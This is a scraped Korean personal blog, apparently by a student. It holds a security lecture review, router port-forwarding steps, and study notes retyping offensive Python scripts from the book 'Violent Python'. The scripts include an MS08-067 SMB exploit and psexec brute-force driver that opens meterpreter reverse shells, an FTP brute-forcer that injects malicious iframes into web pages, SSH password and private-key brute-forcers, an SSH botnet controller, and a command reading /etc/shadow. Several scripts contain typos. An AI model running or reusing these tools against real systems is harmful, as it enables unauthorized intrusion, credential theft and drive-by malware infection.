오랜만에 글을 올리는거 같습니다.


오늘은 http://www.hanbit.co.kr/store/education/edu_view.html?p_code=S3196031817

여기를 갔다왔는데요.


저번에 모의해킹 저자 강의도 갔다왔지만 그때는 아직 티스토리를 개설하지 않았던 관계로

이번 강의부터는 후기를 적어볼려고 합니다.




저는 보안을 공부하고 싶어하는 친구와 같이 1등으로 왔습니다ㅋㅋ 맨 앞자리 가장 좋은 곳에 앉았죠. 사실 같은 '모의침투연구회'운영진인

누나도 오기로 했는데 시간이 퇴근시간대라 막혀서 늦는다고 하더라구요.





간식도 주고 필기 준비 완료입니다ㅎㅎ



이 사진은 제가 찍은게 아니라 한빛 미디어 측에서 찍은 사진입니다. 연구회 옷을 입고있어서 연구회 도메인 주소가 확 보이네요ㅋㅋㅋㅋ



솔직히 저는 작년쯤에 '모의해킹 저자 강의'를 들으러 갔던 경험도 있어서 완전히 처음 듣는 내용은 아니였습니다.


하지만 그때 다루지 않았던 IoT부분과 랜섬워어 

그리고 Q&A를 통한 내용은 많은 도움이 되었다고 생각합니다.




이번에 맨 앞자리에 앉고 열심히 들었던것을 니키님꼐서 좋게 봐주셔서 책을 받았습니다.ㅎㅎ


뭐랄까...지금 너무 피곤하긴한데요ㅋㅋㅋㅋ 친구한테도 유익하고 저도 다시 한번 들어보고 새롭게 알게되서 정말 좋았던거 같았습니다.ㅎ


오늘 후기는 여기까지~ 담에는 더 잘 써보도록 하겠습니다ㅋㅋㅋ

'강의 및 대회 후기' 카테고리의 다른 글

Security Fest CTF 후기  (0) 2018.06.04
Ubuntu 대회  (0) 2017.11.06
CCE 후기  (0) 2017.10.31
팀 Zer0mous 발표 자료  (0) 2017.09.29


가르쳐달라는 요청이 있어서...그냥 글로 만들려고 해서 올립니다ㅋㅋㅋ



일단 기본적으로 VM 네트워크 방식은 NAT인데요. 원래 된다고 하지만 제가 포트포워딩을 했을때는 안되서 그냥 브릿지로 했습니다.

(간단하게 적을거라서 NAT나 브릿지가 무엇인지는 구글링으로...)



이렇게 바꾸고



IP주소 바뀌고



host와 대역대가 같아졌다는걸 확인했습니다.



일단 윈도우 Cmd에서 ipconfig명령어로 나오는 게이트웨이 주소를 치면 공유기 관리페이지가 뜨는데요 대부분은 기본비밀번호거나 쉽게 알아낼수 있으니


간단하게 접속하면 됩니다.



서비스 포트는 외부에서 연결 받을 포트 내부IP주소는 칼리 내부 포트는 IP주소가 연결 됬을때 쓰는 포트 입니다.


뭐 전부다 같게 해주면 매우 편합니다(뭔가 제가 봐도 엄청 대충하네요ㅋㅋㅋㅋ)




추가 눌르면 끝~! 

(자소서 다쓰고 하는거라 뭔가 대충대충했지만 뭐 원래 한번만 성공하면 언제든지 할 수 있는거라....)


(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)


드디어 오늘은! 해커의 언어, 치명적 파이썬 2장을 끝내는 날입니다! 라고 말하고 싶은데 뒤에 스택오버플로우 같은 기법들이...ㄷㄷㄷ


하지만 내일 부터는 본격적인 자소서 작성에 돌입해야되는지라 어떻게 될지는 모르겠습니다.(이래놓고 주말에 해캠가는 1인...)


일단 오늘은 메타스플로잇을 연동해서 SMB 서비스 공격하기인데요.


제목이 너무 길어서 그냥 SMB Exploit 입니다.


(일단 실행은 됬는데 칼리에서 옵션 줘서 공격할려고 하면 계속해서 PortScanner 모듈이 없다고 하네요;;;; python-nmap도 분명히 설치 했는데 말이죠...

참고로 이 오류는 예제 파일에서도 똑같이 나옵니다.)


어쨌든 기록을 시작해 보죠ㅋㅋㅋ


처음에는 SMB포트가 열려있는지의 여부를 알아야됩니다.


안열려 있으면 공격하는 이유가 없으니까요;;;


그다음은 메타스플로잇을 쉽게 사용하게 해주는 Handler 파일을 작성해줍니다.


Handler를 쉽게 설명하면 수신자 설정이라고 말할 수 도 있는데요


수신자가 있으면 발신자도 있겠죠??


이번 예제에 사용되는 취약점은 smb ms08_067_netapi 취약점 입니다.


메타스플로잇 형식에 맟게 이 취약점을 쓰는 코드를 작성하는 함수도 추가해야됩니다.


옛날 같았으면 저 취약점이 다 먹혀 제로데이 공격의 성공인데요.


하지만 최근 더욱이 windows 10을 사용하는 시대에서는 POS기기급이 아니면 성공하기가 거의 힘듭니다.


그래서 전통적 해킹 방식인 무차별 대입까지 해주는 함수까지 작성 하면 이번 예제는 끝입니다.


그럼 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding: utf-8 -*-
import nmap
import os
import optparse
import sys
 
def findTgts(subnet): # SMB 포트가 열려있는지 확인
    nmScan = nmap.PortScanner()
    nmScan.scan(subnet, '445'#455가 대표적 SMB 포트
    tgtHosts = []
    for host in nmaScan.all_hosts():
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
    return tgtHosts
 
def setupHandler(configFile, lhost, lport): #리스서 생성, 생성된 파일을 msf로 실행하고
    configFile.write('use exploit/multi/handler\n')#공격이 성공하면 세션이 열림
    configFile.write('set payload' +\
        'windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
    configFile.write('set DisablePayloadHandler 1\n')
 
def confickerExploit(configFile, tgtHost, lhost, lport): #익스플로잇 코드
    configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
    configFile.write('set RHOST ' +str(tgtHost) + '\n')
    configFile.write('set payload' +\
        'windows/meterreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
 
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport): #취약점이 막혀있을때를 대비 브루트 포스다.
    username = 'Administrator'#윈도우는 기본적으로 이 계정이므로 기본적으로 설정
    pF = open(passwdFile, 'r')
    for password in pF.readlines():
        password = password .strip('\n').strip('\r')
        configFile.write('use exploit/windows/smb/psexec\n')
        configFile.write('set SMBUser '+ str(username) + '\n')
        configFile.write('set SMBPass '+ str(password) + '\n')
        configFile.write('set RHOST '+ str(tgtHost) + '\n')
        configFile.write('set payload '+\
            'windows/meterpreter/reverse_tcp\n')
        configFile.write('set LPORT '+ str(lport) + '\n')
        configFile.write('set LHOST '+ lhost + '\n')
        configFile.write('exploit -j -z\n')
 
def main():
    configFile = open('meta.rc''w')
 
    parser = optparse.OptionParser('[-] Usage %prog ' +\
        '-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
    parser.add_option('-H', dest='tgtHost', type = 'string',\
            help = 'specify the target address[es]')
    parser.add_option('-p', dest='lport', type='string', \
                      help='specify the listen port')
    parser.add_option('-l', dest='lhost', type='string', \
                      help='specify the listen address')
    parser.add_option('-F', dest='passwdFile', type='string', \
        help='password file for SMB brute force attempt')
 
    (options,args) = parser.parse_args()
 
    if (options.tgtHost == None) | (options.lhost == None):
        print parser.usage
        exit(0)
 
    lhost = options.lhost
    lport = options.lport
 
    if lport == None:
        lport = '1337' # 기본 리스너 포트지정
    passwdFile = options.passwdFile
    tgtHosts = findTgts(options.tgtHost)
 
    setupHandler(configFile, lhost, lport)
 
    for tgtHost in tgtHosts: # 여러 타켓을 반복해서 안되면 무차별로 가는걸로 설정
        confickerExploit(configFile, tgtHost, lhost, lport)
        if passwdFile != None:
            smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
 
    configFile.close()
    os.system('msfconsole -r meta.rc'#작성한 핸들러 실행, 핸들러 실행을 하지 않으면 공격에 성공해도 제어를 하지 못함
 
if __name__ == '__main__':
    main()
cs



이번에도 위에서 꽤 설명했고 주석까지 전보다 많이 달았으니 여기에서 마치도록 하겠습니다.ㅎㅎ



(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)


어제까지는 SSH에 대해 다루었는데요.


이번에는 FTP접속을해서 웹페이지에 제가 metasploit으로 악성코드가 있는 웹페이지로 리다이렉션


하게 만드는걸 다룰려고 합니다.


일단 소스코드가 100줄 정도 되니


무작정 올린는거 보다.


FTP를 이용해서 웹페이지까지 수정할려면 

어떤 순서로 코드를 짜야될지 부터 말하고 올리도록 하겠습니다.


일단 로그인을 해야되고

익명으로 로그인이 안되면 

브루트 포스로 뚫어야 됩니다.

그렇게 로그인에 성공하면


.php나 .html 그리고 .asp 확장자의 문서를 찾습니다.


어차피 웹에 쓰이는 거고 하나만 인젝션 해도 성공이니까요 굳이 메인 페이지를 안찾아도 됩니다.


그리고 사용자에게 입력맡은 리다이렉션 코드를 수정해주고 나와주면 끝~!(이때 iframe태그를 사용합니다)


소스는 다음과 같습니다~


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding: utf-8 -*-
 
import ftplib
import optparse
import time
 
def anonLogin(hostname): # 익명 로그인 시도
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous''me@your.com')
        print '\n[*]' + str(hostname) \
            + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) +\
            ' FTP Anonymous Logon Failed.'
        return False
 
def bruteLogin(hostname, passwdFile): #만약 익명 로그인이 안되면 무차별 대입
    pF = open(passwdFile, 'r')
    for line in pF.readline():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' +userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) +\
                ' FTP Logon Succeeded: ' + userName+'/'+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception,e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)
def returnDefault(ftp):
    try:
        dirList = ftp.nlst() #FTP파일 목록 저장
    except:
        dirList = []
        print '[-] Could not list directory countents'
        print' [-] Skipping To Next Target'
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
 
    if '.php' in fn or '.html' in fn or '.asp' in fn: #확장자 파일 찾는 작업
        print '[+] Found Default page: '+ fileName
        retList.append(fileName)
 
def injectPage(ftp, page, redirect): #입력받은 리다이렉션 링크 삽입
    f =open(page + '.tmp''w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page #권한 문제 때문에 다운받아 수정하고 다시 올리는 방식
 
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
 
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
 
def attack(username, password, tgtHost, redirect): #여태 만든 함수들로 공격코드 작성
    ftp  = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)
 
def main():
    parser = optparse.OptionParser('usage %prog '+\
        '-H <target host[s]> -r <redirect page> '+\
                '[-f <userpass file>]')
 
    parser.add_option('-H', dest = 'tgtHosts', type = 'string',\
                      help = 'specify target host')
    parser.add_option('-f', dest='passwdFile', type='string', \
                      help='specify user/password file')
    parser.add_option('-r', dest='redirect', type='string', \
            help='specify a redirection page')
 
    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect
 
    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in tgtHosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = 'me@your.com'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
 
        elif passwdFile != None:
            (username, password) =\
            bruteLogin(tgtHost, passwdFile)
            if password != None:
                '[+] Using Creds: ' +\
                    username + '\ ' + password + ' to attack'
                attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
    main()
cs


이번에는 주석좀 넣어봤습니다.


함수가 어떤 동작을 하는지만 적어봤는데


앞으로는 귀찮아 하지말고 적어야겠죠ㅋㅋ


근데 앞에서 다 설명해 버려서 할것도 없다는......


뭐 여기까지 하도록 하죠ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

http://220.230.119.235/board/index.php?mid=camp_community&document_srl=336


제가 올해 신청을 안하면 후회할거 같아서


POC와 해커스쿨에서 주최하는 해킹캠프에 신청을 했지만!
떨어졌습니다.......

하지만!


21일 추가인원 발표에


제 이름이!!!!!!!!!!!!!!!!!!!!

예~!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


문제는 이번주 토요일은 팀 모임도 있었는데

아쉽게도 이번달은 못하는걸로......


오늘 이것때문에 하루는


쉽니다!!!!!!!!!!!!!!!!!!!!!!!!!!!

'잡담' 카테고리의 다른 글

돌아왔습니다.  (0) 2018.06.04
오늘 변명거리  (0) 2017.08.16
프로젝트 진행 순서  (0) 2017.07.26

(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)


여태까지는 브루트포스 기법을 이용한 ssh접속에 대해서 다뤄봤습니다.

이번에는 그렇게 뚫어본(?) ssh를 여러개를 동시에 접속하고 하는걸 다뤄봤습니다.


소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import optparse
from pexpect import pxssh
class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()
 
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'
 
    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before()
 
def botnetCommand(command):
    for client in botnet:
        output = client.send_command(command)
        print '[+] Output from '+ client.host
        print '[+] '+ output
 
def addClient(host, user, password):
    client = Clinet(host, user, password)
    botNet.append(client)
 
botnet = []
addClient('127.0.0.1','root''toor')
addClient('127.0.0.1','root''toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')
cs


(아니 옵션도 안쓰면서 import optparse는 왜한겨....)


소스는 이해하기 쉽습니다.


Client클래스는 접속할 host의 정보를 쓰도록 하고


connect 함수가 연결울

send_command함수가 명령어를 보내는 역할을 맡았구요.

addclinet로 클래스 Client를 사용해 사용자 정보를 저장하고 bonet 리스트에 append 해줍니다.

그걸 botnetCommand함수가 for 문으로 send_command함수를 써서 명령어를 보낸다음 

결과를 출력해 주는겁니다.


참쉽죠?

 

근데 저걸 아무것도 안보고 하라고 하면 못할거 같네요...ㅋㅋㅋㅋㅋㅋ


혹시...ㅈ..저만 그런건 아니겠죠?



(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)


오늘은 카페가서 공부하고 자소서좀 끄적 거릴려고 했는데


카페에 점점 사람이 많아지더니 페이지 접속도 안될정도로 와이파이가 느려지더군요...그래서 빨리나와 집에서 편하게 하고있습니다.ㅋㅋㅋ


일단 생각해봤는데

아직 전 고3이고 입시도 안끝난 상태니


자소서 및 최저등급 공부를 위해서 치명적 파이썬 책 1강까지 끝나면 잠시 접어둘려고 합니다.


오늘은 무어님이 만드신 1024 비트 키를 다운받아 개인 키를 이용한 SSH 무차별 대입공격을 다룰려고 합니다.


소스코드는 이렇습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import pexpect
import optparse
import os
from threading import *
 
maxConnections = 5
connection_lock = BoundedSemaphore(value = maxConnections)
Stop = False
Fails = 0
 
def connect(user, host, keyfile, release):
    global Stop
    global Fails
 
    try:
        perm_denied = 'Permission denied'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication = no'
        connStr = 'ssh ' + user +\
            '@' +host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, perm_denied, \
                ssh_newkey,conn_closed, '$''#',])
        if ret == 2:
            print '[-] Adding Host to ~/.ssh/known_hosts'
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 3:
            print '[-] Connection Closed By Remote Host'
            Fails += 1
        elif ret > 3:
            print '[+] Success. ' + str(keyfile)
            Stop = True
    finally:
        if release:
            connection_lock.release()
def main():
    parser = optparse.OptionParser('usage % prog - H' +\
                '<target host> -u <user> -d <dictionary>')
    parser.add_option('-H', dest = 'tgtHost', type = 'string',\
                help = 'specify target host')
    parser.add_option('-u', dest='user', type = 'string',\
                help = 'specify user')
    parser.add_option('-d',dest= 'passDir',type = 'string',\
                help = 'specify dictionary')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    user = options.user
    passDir = options.passDir
 
    if host == None or user == None or passDir == None:
        print parser.usage
        exit(0)
    for filename in os.listdir(passDir):
        if stop:
            print '[*] Exiting: Key Found'
            exit(0)
        if Falis > 5:
            print '[i] Exiting: '+\
                'Too Many Connections Closed By Remote Host'
            print '[!] Adjust number of simultaneous threads.'
            exit(0)
        connection_lock,acquire()
        fullpath = os.path.join(passDir, filename)
        print '[-] Testing keyfile ' + str(fullpath)
        t = Thread(target=connect, \
            args=(user, host, fullpath, True))
        child = t.start()
if __name__ == '__main__':
    main()

cs


크 역시 다운받은 예제 코드로 보고 적으니 오타난 오류빼고는 오류가 안나네요ㅋㅋㅋㅋ

뭔가 실제 작동하는 코드는 별로 없는데 오류 나는거 알려주는 코드때문에 저렇게 긴거 같네요.....


뭐 더 설명할건 없을거 같으니 오늘은 여기서 마치도록하겠습니다ㅋㅋ


뭐 일단 -H으로 host정해주고 -u로 user정해주고

-d로 1024 비트 키 정해주고


for filename in os.listdir(passDir):


여기서 passDir은 지정해준 1024비트 키이며

os.lstdir은 passdir을 리스트로 반환시켜줍니다.


그걸 for문으로 돌려서 무차별 대입시켜주는거죠.


저번과 동일하게 5번정도 계속 연결 실패하고 그러면 연결할려는 서버쪽에서 차단했을 가능성이 높으니

그만하도록 되있습니다.


뭐 더 말할것도 없으니 오늘은 여기서 마치도록하겠습니다ㅋㅋㅋ

(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)


어제는 ssh접속까지 했는데요 이번에는 전형적인 공격방법중에 하나인 무차별 대입공격을 할 수 있는 툴을 공부했습니다.


코드는 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value = maxConnections)
Found = False
 
Fails = 0
 
def connect(host, user, password, release):
    global Found
    global Fails
 
    try:
        s = pxssh.pxssh()
        s.login(host,user, password)
        print '[+] Password Found : ' + password
        Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(1)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release: connection_lock.release()
def main():
    parser = optparse.OptionParser('usasge %prog '+ \
                                   '-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest = 'tgtHost', type = 'string', \
                      help = 'specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', \
                      help='specify password file')
    parser.add_option('-u', dest='user', type='string', \
                      help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.paasswdFile
    user = options.user
    if host == None or  passwdFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
        if Found:
            print "[*] Exiting: Password Found"
            exit(0)
        if Fails > 5:
            print "[*] Exiting: Too Many Socket Timeouts"
            exit(0)
        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print "[-] Testing: "+str(password)
        t = Thread(target=connect, args=(host, user, \
                    password, True))
        child = t.start()
if __name__ == '__main__':
    main()
 
cs


(비록 예제 코드까지 다운 받아서 그거 복붙해서 상관은 없을듯한데


직접 쓰고 손에 익어야지 제데로 공부한거라고 생각해서 제가 직접 보고 쓴걸 올립니다.)


이것도 선택한 사전을 선택해서 그것을 for문으로 하나하나 대입하며 로그인이 성공하면 비번을 출력해 주는 건데요.


이제 connection_loack과 Fails가 5보다 커지면 Too Many Socket Timeouts 를 출력하는 이유는


IPS같은 장비에 차단당해서 아무리 시도해도 소용없을때를 위해 사용자에게 알려주기 위함입니다.


계속 차단 당하는데 시도하는 사람은 없겠죠..?


이것도 처음에는 책으로 보고 코드를 적어봤는데


계속 안되니까 예제 코드를 보고 수정을 했습니다.


헌데....

import pxssh 부분이 다운 받은 예제 코드에서도 잘못되있더라구요...(위 코드는 제가 수정한다음 동작하는걸 확인하고 올린겁니다.)


pxssh 는 pexpect 라이브러리 안에 있는 모듈이니


import pxssh --> from pexepct import pxssh


이렇게 해야지 오류가 발생하지 않고 잘 돌아갑니다.


매번 코드 따라 적고 생각하는건데 뭐 계속 하다보면 손에 익겠지만 하나의 프로그램을 만들려고 할때 종이나 문서로 게획 한 다음 코드를 적는게


더 오류나 막히는게 없지 않을까...라고 조심스레 생각해 봅니다.


오늘은 여기까지~!(학교에서 쓰라는 자소서 안쓰고 이거 하고있는 1인....)



계속 오류나는게 짜증나서 결국 예제 코드를 다운받아서 봤는데....


이야 책이 그렇게 문제가 있었을 줄이야....


아니 파이썬은 특히 띄어쓰기나 줄맞춤이 생명인데


책은 깡그리 무시되있네요ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ


예제 보면서 틀린곳 고쳐보니까 아주 잘 돌아갑니다...

3-zipCrack.py

2-nmapScan.py

2-nmapScan.py

3-sshCommand.py


일단 소스코드는 예제가 더 잘 써져있으니 걍 올리는걸로....


아! 그러고 보니 리눅스 환경을 칼리에서 우분투로 바꿨습니다.

물론 뒤에 보니까 메타스플로잇 연동하는것도 있어서 칼리로 해야될거 같지만


나머지것은 우분투에서 할려고 합니다.(FTP서버 설치하고 ssh서버 설치하고 별짓을 다해서...)



(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)


어제 안한거 까지 포함해서 2가지를 다룰려고 합니다.

일단 첫번째는 portScan을 nmap에 연동한겁니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import nmap
import optparse
def nmapScan(tgtHost, tgtPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost, tgtPort)
    state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print " [*] " + tgtHost + ' tcp/'+tgtPort +" "+state
def main():
    parser = optparse.OptionParser("usage%prog " + \
    "-H <target host> -p <target port>")
    parser.add_option('-H', dest='tgtHost', type='string', \
    help='specify target Host')
    parser.add_option('-P', dest='tgtPort', type='string', \
    help='specify target port[s] separated by comma')
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPort).split(', ')
    if (tgtHost == None) | (tgtPorts[0== None):
        print parser.usage
        exit(0)
    for tgtPort in tgtPorts:
        nmapScan(tgtHost, tgtPort)
if __name__ == '__main__':
    main()
cs


일단 nmap을 연동할려면

<<pip install python-nmap>>으로 설치를 먼저 해야되야 작동을 하지만(왜 저는 계속 안되는거죠....)


일단 작동은 전에 작성한 portScan과 똑같지만 nmap을 연동하면 필터되는지의 여부를 알 수 있습니다.


간편하게 할 수 있는점에서는 nmap을 사용하는게 더 강력한거 같습니다.


다음은 ssh접속입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import pexpect
PROMPT = ['# ','>>> ''> ''\$ ']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before
def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connstr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connstr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
    '[P|p]assword:'])
    if ret == 0:
        print '[-] Error connecting'
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, \
            '[P|p]assword: '])
        if ret == 0:
            print '[-] Error connecting'
            return
        child.sendline(password)
        child.expect(PROMPT)
        return child
def main():
    host = 'localhost'
    user = 'root'
    password = 'password'
    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
    main()
cs


일단 pexpect를 사용하려면 <<pip install pexpect>>로 설치해야됩니다.


뭐 이것도 별 어려운건 없지만 우분투에서 실행했을때는 오류로 sendline이란 속성이 없다고 하네요....음...왠지 main()먼저 선언하고 하면 될거 같기도 하지만 말이죠..일단


그 노가다는 글을 다 쓴다음에 해본다음 진행상황을 글로 쓸려고 합니다.


+ Recent posts